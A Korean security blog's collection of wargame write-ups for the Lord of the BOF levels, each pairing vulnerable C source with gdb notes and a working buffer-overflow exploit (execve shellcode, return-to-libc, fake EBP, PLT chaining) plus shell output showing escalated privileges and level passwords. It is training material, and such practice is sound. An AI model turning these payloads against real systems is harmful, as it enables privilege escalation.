'공부/LOB'에 해당하는 글 18건

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function
        {
                if(*ret_addr == '\xc9'){                // leave
                        if(*(ret_addr+1) == '\xc3'){    // ret
                                printf("You cannot use library function!\n");
                                exit(0);
                        }
                }
                ret_addr++;
        }

        // stack destroyer
        memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}


와... 이거 옛날에 못풀었다 다시봐도 못풀겠어서 결국 다른블로그 보고 풀음

STDIN자체에 저장하는 버퍼가 있음 0X4005000이였나 암튼 이런 주소 인데 여기 map으로 보면 실행권한이 없지만

실제로는 있음;;;

그럼 그냥 쉘코드 넣고 주소 넣어주면됨


payload = nop * 19 + shellcode(25byte) + stdin내부 버퍼 주소

[nightmare@localhost nightmare]$ (python -c'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x13\x50\x01\x40" ';cat)| ./xavius
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀P@
my-pass
euid = 519
throw me away
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)

저작자 표시 비영리 변경 금지
신고

'공부 > LOB' 카테고리의 다른 글

[lob] nightmare -> xavius  (0) 2015.08.21
[lob] succubus -> nightmare  (0) 2015.02.19
[lob] zombie_assassin -> succubus  (0) 2015.02.17
[lob] assassin -> zombie_assassin  (0) 2014.07.30
[lob] giant -> assassin  (0) 2014.07.30
[lob] bugbear -> giant  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret


[succubus@localhost succubus]$ cat nightmare.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // check address
    addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // dangerous waterfall
    memset(buffer+40+8, 'A', 4);
}


dummy 44 + strcpy + ret[aaaa] + [buffer + 48] + [source] + [system] + [exit] + [buffer+72] + "my-pass\x0"
./aaaaaaaaa `python -c 'print "a"*44 + "\x10\x84\x04\x08" + "bbbb" +"\xa0\xfa\xff\xbf" + "\xac\xfa\xff\xbf"+ "\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40" + "\xb8\xfa\xff\xbf" + "my-pass\x0"'`


[succubus@localhost succubus]$ ./nightmare `python -c 'print "a"*44 + "\x10\x84\x04\x08" + "bbbb" +"\xb0\xfa\xff\xbf" + "\xbc\xfa\xff\xbf"+ "\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40" + "\xc8\xfa\xff\xbf" + "my-pass\x0"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb°コÿ¿ɀσ@ɺÿ¿my-pass
euid = 518
beg for me

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] nightmare -> xavius  (0) 2015.08.21
[lob] succubus -> nightmare  (0) 2015.02.19
[lob] zombie_assassin -> succubus  (0) 2015.02.17
[lob] assassin -> zombie_assassin  (0) 2014.07.30
[lob] giant -> assassin  (0) 2014.07.30
[lob] bugbear -> giant  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

payload = [dummy 44byte] + [do] + [gye] + [gul] + [yut] + [mo] + [ret dummy] + [buffer addr + 72] + ["my-pass\x0"]


[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "a"*44 + "\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\xf0\xaf\xff\xbf"+"\x98\xfa\xff\xbf"+"my-pass\x0"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.¼\$࿿-pass
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
euid = 517
here to stay
Segmentation fault
[zombie_assassin@localhost zombie_assassin]$

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] nightmare -> xavius  (0) 2015.08.21
[lob] succubus -> nightmare  (0) 2015.02.19
[lob] zombie_assassin -> succubus  (0) 2015.02.17
[lob] assassin -> zombie_assassin  (0) 2014.07.30
[lob] giant -> assassin  (0) 2014.07.30
[lob] bugbear -> giant  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

[assassin@localhost assassin]$ cat zombie_assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] == '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

    // strncpy instead of strcpy!
    strncpy(buffer, argv[1], 48);
    printf("%s\n", buffer);
}

0x80484df <main+159>:    leave 
0x80484e0 <main+160>:    ret

0xbffffc52:    0x90909090
(gdb)
0xbffffb08

25byte
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"


payload = [sc] + 쉘코드 23 바이트 + nop 13bytes + [sc-8] + leaveret

./aaaaaaaaaaaaaaa `python -c'print "a"*40+"\xa0\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

`python -c 'print "bbbb"+"\x9f\xfa\xff\xbf"+"\x90"*7 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" +"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
   
[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "bbbb"+"\x9f\xfa\xff\xbf"+"\x90"*7 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" +"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
bbbb??퓧??????1픐h//shh/bin??S??째
                                     ???욀?
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide
bash$

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] succubus -> nightmare  (0) 2015.02.19
[lob] zombie_assassin -> succubus  (0) 2015.02.17
[lob] assassin -> zombie_assassin  (0) 2014.07.30
[lob] giant -> assassin  (0) 2014.07.30
[lob] bugbear -> giant  (0) 2014.07.30
[lob] darkknight -> bugbrear  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

[giant@localhost giant]$ ls
assassin  assassin.c
[giant@localhost giant]$ cat assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] == '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}
[giant@localhost giant]$

Breakpoint 1, 0x804839b in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb)

[giant@localhost giant]$ ./find
/bin/sh : 0x400fbff9

payload = 더미 44byte + 메모리의 ret주소 (0804851E) + system함수 주소 + 리턴 어드레스(BBBB) + /bin/sh주소

[giant@localhost giant]$ ./assassin `python -c'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??@BBBB廈@
bash$ Xshell
bash$ my-pass
euid = 515
pushing me away
bash$

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] zombie_assassin -> succubus  (0) 2015.02.17
[lob] assassin -> zombie_assassin  (0) 2014.07.30
[lob] giant -> assassin  (0) 2014.07.30
[lob] bugbear -> giant  (0) 2014.07.30
[lob] darkknight -> bugbrear  (0) 2014.07.30
[lob] golem -> darknight  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

[bugbear@localhost bugbear]$ cat giant.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
    char buffer[40];
    FILE *fp;
    char *lib_addr, *execve_offset, *execve_addr;
    char *ret;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // gain address of execve
    fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "(%x)", &lib_addr);
    fclose(fp);

    fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "%x", &execve_offset);
    fclose(fp);

    execve_addr = lib_addr + (int)execve_offset;
    // end

    memcpy(&ret, &(argv[1][44]), 4);
    if(ret != execve_addr)
    {
        printf("You must use execve!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
[bugbear@localhost bugbear]$ gdb giant
(gdb) p execve
$2 = {<text variable, no debug info>} 0x400a9d48 <__execve>
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$1 = {void (int)} 0x400391e0 <exit>
(gdb) q
[bugbear@localhost bugbear]$ ./find
/bin/sh : 0x400fbff9
(gdb) x/s 0xbffffff7    //stack끝에 들어가는 execve의 두번쨰 인자로 들어갈
0xbffffff7:     "廈\017@"
(gdb)
./$"`python -c'print "\xf9\xbf\x0f\x40"'`" "`python -c'print "a"*44+"\x48\x9d\x0a\x40"+"AAAA"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"



payload = 더미 44byte + execve 주소 4byte(\x48\x9d\x0a\x40) + 더미 4byte (AAAA) + /bin/sh주소 ()
[bugbear@localhost bugbear]$ ./$"`python -c'print "\xf9\xbf\x0f\x40"'`" "`python -c'print "a"*44+"\x48\x9d\x0a\x40"+"AAAA"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaH?
@AAAA廈@?웠
bash$ my-pass
euid = 514
one step closer

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] assassin -> zombie_assassin  (0) 2014.07.30
[lob] giant -> assassin  (0) 2014.07.30
[lob] bugbear -> giant  (0) 2014.07.30
[lob] darkknight -> bugbrear  (0) 2014.07.30
[lob] golem -> darknight  (0) 2014.07.30
[lob] vampire -> skeleton  (3) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

[darkknight@localhost darkknight]$ cat bugbear.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] == '\xbf')
    {
        printf("stack betrayed you!!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/bb

Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb)

[darkknight@localhost darkknight]$ cat find.c
int main(int argc, char * argv[])
{
    long shell;
    shell = 0x40058ae0;
    while(memcmp((void *)shell, "/bin/sh", 8)) shell++;
    printf("/bin/sh = %p\n",shell);
}   
[darkknight@localhost darkknight]$ ./find
/bin/sh = 0x400fbff9

payload = 더미 44 byte + system주소 + 더미 4byte + /bin/sh 주소

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "a"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?@BBBB廈@
bash$ Xshell
sh: Xshell: command not found
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] giant -> assassin  (0) 2014.07.30
[lob] bugbear -> giant  (0) 2014.07.30
[lob] darkknight -> bugbrear  (0) 2014.07.30
[lob] golem -> darknight  (0) 2014.07.30
[lob] vampire -> skeleton  (3) 2014.07.30
[lob] troll -> vampire  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

[golem@localhost golem]$ cat darkknight.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
    char buffer[40];
    strncpy(buffer, src, 41);
    printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }

    problem_child(argv[1]);
}
[golem@localhost golem]$

`python -c'print"\xb8\xfa\xff\xbf"+"\xbc\xfa\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xb4"'`

[golem@localhost golem]$ ./darkknight `python -c'print"\xb8\xfa\xff\xbf"+"\xbc\xfa\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xb4"'`
뫄옘?퓧??????1픐h//shh/bin??S??째
                                     ?덜퓹?4.?옹    @
bash$ my-pass
euid = 512
new attacker
bash$

payload = dummy 4byte + shellcode address 4byte + nop 7byte + shellcode 23byte + dummy 1byte

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] bugbear -> giant  (0) 2014.07.30
[lob] darkknight -> bugbrear  (0) 2014.07.30
[lob] golem -> darknight  (0) 2014.07.30
[lob] vampire -> skeleton  (3) 2014.07.30
[lob] troll -> vampire  (0) 2014.07.30
[lob] orge -> troll  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret

[vampire@localhost vampire]$ cat skeleton.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i, saved_argc;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    // argc saver
    saved_argc = argc;

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

    // ultra argv hunter!
    for(i=0; i<saved_argc; i++)
        memset(argv[i], 0, strlen(argv[i]));
}

./`python -c'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*40'` `python -c 'print "a"*44+"\xa3\xff\xff\xbf"'`


//뒤에 놉을 넣은 이유는 쉘코드 중간에 esi를 변경하는 구문이 있는데 그냥 넣어줄 경우 스택의 범위를 초과하게 되면서 제대로 실행되지 않는다

[vampire@localhost vampire]$ ln -s skeleton `python -c'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*40'`
[vampire@localhost vampire]$ ./:wq `python -c'print "a"*44+"\xa3\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?
bash$ ls
ls: .: Permission denied
bash$ mypass
sh: mypass: command not found
bash$ my-pass
euid = 510
shellcoder
bash$

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] darkknight -> bugbrear  (0) 2014.07.30
[lob] golem -> darknight  (0) 2014.07.30
[lob] vampire -> skeleton  (3) 2014.07.30
[lob] troll -> vampire  (0) 2014.07.30
[lob] orge -> troll  (0) 2014.07.30
[lob] darkelf -> orge  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글  3개가 달렸습니다.
  1. 안녕하세요 LOB 문제 풀다가
    쉘코드 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 를 써서 하려고

    ./`python -c 'print "\x90"*40+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\xbf"*44+"\xb0\xff\xff\xbf"'`


    이런식으로 했는데 안되서 블로그 여러군데를 봤더니 다른쉘코드쓰고 이유에 대해 설명하는 곳이 여기 밖에 없더라고요.

    esi를 변경한다고 하셨는데 좀만더 자세히 설명해주실수 없을까요?
    • 답변이 좀 늦었네요 파일명은 보통 메모리의 제일 끝에 주소에 들어가게 됩니다. 근데 쉘코드를 진행하다 보면 잘 기억은 안나지만 현재 스택의 위치 + 몇바이트를 esi에 옮겼던것 같은데 아무튼 이렇게 될경우 정상적으로 쉘코드가 실행이 안됩니다. 그래서 파일명 끝에 nop를 몇개 더 넣어주면 메모리 공간이 좀 더 확보가 되기 때문에 nop을 넣어줬었습니다.
    • 도움이 되셨을란지 모르겠네요
secret

[troll@localhost troll]$ cat vampire.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

[troll@localhost troll]$ ./vampire `python -c'print "a"*44+"\xee\xf4\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

bash$ my-pass
euid = 509
music world
bash$ exit
exit

저작자 표시 비영리 동일 조건 변경 허락
신고

'공부 > LOB' 카테고리의 다른 글

[lob] golem -> darknight  (0) 2014.07.30
[lob] vampire -> skeleton  (3) 2014.07.30
[lob] troll -> vampire  (0) 2014.07.30
[lob] orge -> troll  (0) 2014.07.30
[lob] darkelf -> orge  (0) 2014.07.30
[lob] wolfman -> darkelf  (0) 2014.07.30

WRITTEN BY
Jen6
jen6의 개발, 보안 블로그 까끔가다 쓸대 있는걸 올리려고 노력중

받은 트랙백이 없고 , 댓글이 없습니다.
secret